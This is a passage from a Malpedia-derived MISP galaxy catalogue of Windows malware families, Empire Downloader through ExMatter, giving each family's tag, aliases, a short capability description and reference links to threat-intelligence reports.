https://atr-blog.gigamon.com/2020/01/13/emotet-not-your-run-of-the-mill-malware/
https://spamauditor.org/2020/10/the-many-faces-of-emotet/
https://www.blueliv.com/blog/research/where-is-emotet-latest-geolocation-data/
https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2021/Presse2021/210127_pmEmotet.html
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://medium.com/@zyadlzyatsoc/comprehensive-analysis-of-emotet-malware-part-1-by-zyad-elzyat-35d5cf33a3c0
https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/
https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/
https://go.recordedfuture.com/hubfs/reports/cta-2024-1209.pdf
https://blog.lumen.com/emotet-redux/
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?blob=publicationFile&v=2
https://isc.sans.edu/diary/rss/27036
https://www.zscaler.com/blogs/research/emotet-back-action-after-short-break
https://www.inde.nz/blog/analysis-of-the-latest-wave-of-emotet-malicious-documents
https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise

Empire Downloader

The tag is: *misp-galaxy:malpedia="Empire Downloader"*

Empire Downloader is also known as:

Table 3790. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader
https://redcanary.com/blog/getsystem-offsec/
https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html
https://unit42.paloaltonetworks.com/atoms/obscureserpens/
https://www.mandiant.com/media/12596/download
http://www.secureworks.com/research/threat-profiles/gold-heron
https://www.secureworks.com/research/threat-profiles/gold-drake
https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
https://lab52.io/blog/wirte-group-attacking-the-middle-east/
https://www.secureworks.com/research/threat-profiles/bronze-firestone
https://us-cert.cisa.gov/ncas/alerts/aa20-275a
https://attack.mitre.org/groups/G0096
https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf
https://paper.seebug.org/1301/
https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-actors-shoulders.html
https://twitter.com/thor_scanner/status/992036762515050496
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_9_takeda_furukawa_en.pdf
https://www.secureworks.com/research/threat-profiles/gold-heron
https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-009.pdf
https://www.secureworks.com/research/threat-profiles/gold-ulrick
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.secureworks.com/research/threat-profiles/bronze-atlas
http://www.secureworks.com/research/threat-profiles/gold-burlap

Emudbot

Supposedly a worm that was active around 2012-2013.

The tag is: *misp-galaxy:malpedia="Emudbot"*

Emudbot is also known as:

Table 3791. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emudbot
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/worm_emudbot.jp

Enfal

The tag is: *misp-galaxy:malpedia="Enfal"*

Enfal is also known as:

- Lurid

Table 3792. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal
https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/
https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf
https://www.secureworks.com/research/threat-profiles/bronze-palace
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/
https://www.secureworks.com/research/threat-profiles/bronze-union
https://attack.mitre.org/groups/G0011

Enigma Loader

According to Trend Micro, this is a downloader, dedicated to stage execution of a second stage malware called Enigma Stealer.

The tag is: *misp-galaxy:malpedia="Enigma Loader"*

Enigma Loader is also known as:

Table 3793. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader

https://www.trendmicro.com/en_us/research/23/b/enigma-stealer-targets-cryptocurrency-industry-with-fake-jobs.html

Entropy

Entropy is a ransomware first seen in 1st quarter of 2022, is being used in conjunction of Dridex infection. The ransomware uses a custom packer to pack itself which has been seen in some early dridex samples.

The tag is: *misp-galaxy:malpedia="Entropy"*

Entropy is also known as:

Table 3794. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.entropy
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/
https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen
https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/?cmp=30728

EntryShell

Fileless malware 'EntryShell', a variant of the KeyBoy malware, due to similarities in backdoor command IDs and debug messages with old KeyBoy samples. The embedded malware config was encrypted with a unique algorithm.

The tag is: *misp-galaxy:malpedia="EntryShell"*

EntryShell is also known as:

Table 3795. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.entryshell
https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/
https://blog-en.itochuci.co.jp/entry/2023/10/06/173200

Enviserv

According to Microsoft, Enviserv is a malicious program that is unable to spread of its own accord. It may perform a number of actions of an attacker's choice on an affected computer.

The tag is: *misp-galaxy:malpedia="Enviserv"*

Enviserv is also known as:

Table 3796. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.enviserv
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Enviserv.A

EnvyScout

The tag is: *misp-galaxy:malpedia="EnvyScout"*

EnvyScout is also known as:

- ROOTSAW

Table 3797. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.envyscout
https://www.incibe.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf
https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58
https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf
https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/
https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing
https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/
https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/
https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/
https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf
https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html
https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine

Epsilon Red

According to PCrisk, Epsilon is a ransomware-type program. This malware is designed to encrypt the data of infected systems in order to demand payment for decryption.

The tag is: *misp-galaxy:malpedia="Epsilon Red"*

Epsilon Red is also known as:

- BlackCocaine

Table 3798. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.epsilon_red
https://news.sophos.com/en-us/2021/05/28/epsilonred/
https://cybleinc.com/2021/06/03/nucleus-software-becomes-victim-of-the-blackcocaine-ransomware/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://therecord.media/epsilonred-ransomware-group-hits-one-of-indias-financial-software-powerhouses/
https://www.cloudsek.com/blog/threat-actors-lure-victims-into-downloading-hta-files-using-clickfix-to-spread-epsilon-red-ransomware

Epsilon Stealer

Epsilon Stealer is an information stealer sold as Malware as a Service by a new french actor called "Epsilon". This malware is distributed as a game, mainly on discord, but steals user credentials, crypto wallets, and stored cookies. It evades static detection by being packed with NSIS, which then launches a malicious Electron package.

The tag is: *misp-galaxy:malpedia="Epsilon Stealer"*

Epsilon Stealer is also known as:

Table 3799. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.epsilon_stealer
https://github.com/IWcommunityFR/Epsilon-Stealer
https://web.archive.org/20240626101253/https://github.com/KekraLoader/Epsilon-Stealer/tree/b258f04b9caf1f00527a7190c7ed00ad17ce96b1

EquationDrug

The tag is: *misp-galaxy:malpedia="EquationDrug"*

EquationDrug is also known as:

Table 3800. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug
https://securelist.com/inside-the-equationdrug-espionage-platform/69203/
https://mp.weixin.qq.com/s/3ZQhn32NB6p-LwndB2o2zQ
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/
http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html

Equationgroup (Sorting)

Rough collection EQGRP samples, to be sorted

The tag is: *misp-galaxy:malpedia="Equationgroup (Sorting)"*

Equationgroup (Sorting) is also known as:

Table 3801. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.equationgroup
https://laanwj.github.io/2016/09/13/blatsting-rsa.html
https://laanwj.github.io/2016/09/17/seconddate-cnc.html
https://laanwj.github.io/2016/09/23/seconddate-adventures.html
https://brandefense.io/blog/apt-groups/equation-apt-group/
https://laanwj.github.io/2016/09/11/buzzdirection.html
https://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html
https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/
https://laanwj.github.io/2016/09/01/tadaqueos.html
https://laanwj.github.io/2016/08/22/blatsting.html
https://laanwj.github.io/2016/09/04/blatsting-command-and-control.html
https://laanwj.github.io/2016/08/28/feintcloud.html

Erbium Stealer

Erbium is an information stealer advertised and sold as a Malware-as-a-Service on cybercrime forums and Telegram since at least July 2022. Its capabilities are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber capabilities.

The tag is: *misp-galaxy:malpedia="Erbium Stealer"*

Erbium Stealer is also known as:

Table 3802. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer
https://twitter.com/sekoia_io/status/1577222282929311744
https://twitter.com/abuse_ch/status/1565290110572175361
https://blog.cluster25.duskrise.com/2022/09/15/erbium-stealer-a-new-infostealer
https://www.bleepingcomputer.com/news/security/new-erbium-password-stealing-malware-spreads-as-game-cracks-cheats/

Erebus (Windows)

The tag is: *misp-galaxy:malpedia="Erebus (Windows)"*

Erebus (Windows) is also known as:

Table 3803. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus
https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/

Eredel

Eredel Stealer is a low price malware that allows for extracting passwords, cookies, screen desktop from browsers and programs.

According to nulled[.]to:

Supported browsers Chromium Based: Chromium, Google Chrome, Kometa, Amigo, Torch, Orbitum, Opera, Opera Neon, Comodo Dragon, Nichrome (Rambler), Yandex Browser, Maxthon5, Sputnik, Epic Privacy Browser, Vivaldi, CocCoc and other Chromium Based browsers.

- Stealing FileZilla
- Stealing an account from Telegram
- Stealing AutoFill
- Theft of wallets: Bitcoin | Dash | Monero | Electrum | Ethereum | Litecoin
- Stealing files from the desktop. Supports any formats, configurable via telegram-bot

The tag is: *misp-galaxy:malpedia="Eredel"*

Eredel is also known as:

Table 3804. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eredel
https://webcache.googleusercontent.com/search?q=cache:3hU62-Lr2t8J:https://www.nulled.to/topic/486274-eredel-stealer-lite-private-having-control-via-the-web-panel-multifunctional-stealer/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-ab[https://webcache.googleusercontent.com/search?q=cache:3hU62-Lr2t8J:https://www.nulled.to/topic/486274-eredel-stealer-lite-private-having-control-via-the-web-panel-multifunctional-stealer/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-ab]

Erica Ransomware

The tag is: *misp-galaxy:malpedia="Erica Ransomware"*

Erica Ransomware is also known as:

Table 3805. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.erica_ransomware
https://www.dropbox.com/s/f4uulu2rhyj4leb/Girl.scr_malware_report.pdf?dl=0

Eris

Ransomware.

The tag is: *misp-galaxy:malpedia="Eris"*

Eris is also known as:

Table 3806. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eris
https://lekstu.ga/posts/go-under-the-hood-eris/

ESPecter

The tag is: *misp-galaxy:malpedia="ESPecter"*

ESPecter is also known as:

Table 3807. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.especter

https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html
https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/

EternalRocks

The tag is: *misp-galaxy:malpedia="EternalRocks"*

EternalRocks is also known as:

- MicroBotMassiveNet

Table 3808. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternalrocks
https://github.com/stamparm/EternalRocks
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/

EternalPetya

According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of Petya. Like other strains of ransomware, Bad Rabbit virus infections lock up victims' computers, servers, or files preventing them from regaining access until a ransom—usually in Bitcoin—is paid.

The tag is: *misp-galaxy:malpedia="EternalPetya"*

EternalPetya is also known as:

- BadRabbit
- Diskcoder.C
- ExPetr
- NonPetya
- NotPetya
- Nyetya
- Petna
- Pnyetya
- nPetya

Table 3809. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya

https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/

https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik

https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too

https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/

https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/

https://gvnshtn.com/maersk-me-notpetya/

https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf

https://www.crowdstrike.com/blog/fast-spreading-petrwrap-ransomware-attack-combines-eternalblue-exploit-credential-stealing/

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://www.cisa.gov/uscert/ncas/alerts/aa22-110a

https://istari-global.com/spotlight/the-untold-story-of-notpetya/

https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/

https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf

http://www.intezer.com/notpetya-returns-bad-rabbit/

https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/

https://therecord.media/mondelez-and-zurich-reach-settlement-in-notpetya-cyberattack-insurance-suit/

https://www.bleepingcomputer.com/news/security/ransomware-attacks-continue-in-ukraine-with-mysterious-wannacry-clone/

https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/

https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/

https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/eternalglue-part-one-rebuilding-notpetya-to-assess-real-world-resilience/

http://blog.talosintelligence.com/2017/10/bad-rabbit.html

https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks

https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf

https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/

https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf

https://threatpost.com/ukrainian-man-arrested-charged-in-notpetya-distribution/127391/

https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html

https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna

https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html

https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/

https://securelist.com/in-expetrpetyas-shadow-fakecry-ransomware-wave-hits-ukraine/78973/

https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors

https://securelist.com/schroedingers-petya/78870/

https://www.secureworks.com/research/threat-profiles/iron-viking

https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine

https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/

https://attack.mitre.org/groups/G0034

https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4

https://securelist.com/bad-rabbit-ransomware/82851/

https://www.riskiq.com/blog/labs/badrabbit/

https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html

https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/

https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf

https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back

https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat

https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer

http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html

https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games

https://securelist.com/from-blackenergy-to-expetr/78937/

https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/

https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/

https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware

https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/

https://www.youtube.com/watch?v=mrTdSdMMgnk

https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-yet-another-stolen-piece-package/
https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf
https://securelist.com/apt-trends-report-q2-2019/91897/
https://securelist.com/apt-trends-report-q2-2020/97937/
http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://aguinet.github.io//blog/2020/08/29/miasm-bootloader.html
https://www.atlanticcouncil.org/content-series/tech-at-the-leading-edge/the-russian-cyber-unit-that-hacks-targets-on-site/
https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/
https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/
https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/
https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/
https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b
https://medium.com/@Ilandu/petya-not-petya-ransomware-9619cbbb0786
https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html

Eternity Clipper

This malware is part of the Eternity Malware "Framework".

The tag is: *misp-galaxy:malpedia="Eternity Clipper"*

Eternity Clipper is also known as:

Table 3810. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_clipper
https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/
https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group
https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/

Eternity Ransomware

Eternity Framework Ransomware Payload

The tag is: *misp-galaxy:malpedia="Eternity Ransomware"*

Eternity Ransomware is also known as:

Table 3811. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_ransomware
https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/
https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/
https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/

Eternity Stealer

This Stealer is part of the eternity malware project.

The tag is: *misp-galaxy:malpedia="Eternity Stealer"*

Eternity Stealer is also known as:

Table 3812. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_stealer
https://blog.morphisec.com/nft-malware-new-evasion-abilities
https://ke-la.com/information-stealers-a-new-landscape/
https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group
https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on
https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/
https://securityintelligence.com/news/eternity-gang-ransomware-as-a-service-telegram/
https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/
https://blog.sekoia.io/eternityteam-a-new-prominent-threat-group-on-underground-forums/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://twitter.com/3xp0rtblog/status/1509601846494695438

Eternity Worm

This malware is part of the Eternity Malware "Framework".

The tag is: *misp-galaxy:malpedia="Eternity Worm"*

Eternity Worm is also known as:

Table 3813. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_worm
https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/
https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/
https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/

EtumBot

The tag is: *misp-galaxy:malpedia="EtumBot"*

EtumBot is also known as:

- HighTide

Table 3814. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot
https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html
https://www.secureworks.com/research/threat-profiles/bronze-globe

Evilbunny

The tag is: *misp-galaxy:malpedia="Evilbunny"*

Evilbunny is also known as:

Table 3815. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny
https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/
https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope
https://web.archive.org/web/20150218192803/http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/
https://web.archive.org/web/20150310155151/http://blog.9bplus.com/analyzing-cve-2011-4369-part-one/

EvilConwi

EvilConwi is a malicious variant of the legitimate ScreenConnect software by ConnectWise. This software is a remote access software. Threat actors modify the configuration extensively so that any signs of an active remote connection are removed. EvilConwi often pretends to perform a Windows update by using fake Windows update images embedded in the config. The purpose is to keep the system running while the threat actor connect remotely.

Other EvilConwi signs are fake application icons. E.g., it may pretend to be an installer for Zoom and use its icons and application titles in the ConnectWise config.

The tag is: *misp-galaxy:malpedia="EvilConwi"*

EvilConwi is also known as:

Table 3816. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilconwi
https://www.gdatasoftware.com/blog/2025/06/38218-connectwise-abuse-malware

EvilExtractor

The tag is: *misp-galaxy:malpedia="EvilExtractor"*

EvilExtractor is also known as:

Table 3817. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilextractor
https://www.trendmicro.com/fr_fr/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html
https://www.netresec.com/?page=Blog&month=2023-04&post=EvilExtractor-Network-Forensics
https://www.trendmicro.com/en_us/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html
https://www.fortinet.com/blog/threat-research/evil-extractor-all-in-one-stealer

EvilGrab

The tag is: *misp-galaxy:malpedia="EvilGrab"*

EvilGrab is also known as:

- Vidgrab

Table 3818. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn

EVILNUM (Windows)

The tag is: *misp-galaxy:malpedia="EVILNUM (Windows)"*

EVILNUM (Windows) is also known as:

Table 3819. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilnum
https://stairwell.com/resources/technical-analysis-the-silent-torrent-of-vilerat/
https://github.com/eset/malware-ioc/tree/master/evilnum
https://docs.broadcom.com/doc/ransom-and-malware-attacks-on-financial-services-institutions
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/
https://www.proofpoint.com/us/blog/threat-insight/buy-sell-steal-evilnum-targets-cryptocurrency-forex-commodities
https://mp.weixin.qq.com/s/lryl3a65uIz1AwZcfuzp1A
https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets
https://web.archive.org/web/20210422172657/https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html

EvilPlayout

A wiper used against in an attack against Iran's state broadcaster. Using campaign name coined by Check Point in lack of a better name for the wiper component.

The tag is: *misp-galaxy:malpedia="EvilPlayout"*

EvilPlayout is also known as:

Table 3820. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilplayout

https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/

EvilPony

Privately modded version of the Pony stealer.

The tag is: *misp-galaxy:malpedia="EvilPony"*

EvilPony is also known as:

- CREstealer

Table 3821. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony
https://threatpost.com/docusign-phishing-campaign-includes-hancitor-downloader/125724/

Evrial

The tag is: *misp-galaxy:malpedia="Evrial"*

Evrial is also known as:

Table 3822. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evrial
https://www.bleepingcomputer.com/news/security/evrial-trojan-switches-bitcoin-addresses-copied-to-windows-clipboard/

Exaramel (Windows)

The tag is: *misp-galaxy:malpedia="Exaramel (Windows)"*

Exaramel (Windows) is also known as:

Table 3823. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel
https://www.wired.com/story/sandworm-centreon-russia-hack/
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf

https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/
https://attack.mitre.org/groups/G0034

ExByte

ExByte is a custom data exfiltration tool and infostealer observed being used during BlackByte ransomware attacks.

The tag is: *misp-galaxy:malpedia="ExByte"*

ExByte is also known as:

Table 3824. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exbyte
https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware

Excalibur

The tag is: *misp-galaxy:malpedia="Excalibur"*

Excalibur is also known as:

- Saber
- Sabresac

Table 3825. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur
https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies

MS Exchange Tool

The tag is: *misp-galaxy:malpedia="MS Exchange Tool"*

MS Exchange Tool is also known as:

Table 3826. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool
https://github.com/nccgroup/Royal_APT
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Exile RAT

ExileRAT is a simple RAT platform capable of getting information on the system (computer name, username, listing drives, network adapter, process name), getting/pushing files and executing/terminating processes.

The tag is: *misp-galaxy:malpedia="Exile RAT"*

Exile RAT is also known as:

Table 3827. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exilerat
https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html

ExMatter

Exfiltration tool written in .NET, used by at least one BlackMatter ransomware operator.

The tag is: *misp-galaxy:malpedia="ExMatter"*

ExMatter is also known as:

Table 3828. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exmatter
https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack
https://twitter.com/knight0x07/status/1461787168037240834?s=20
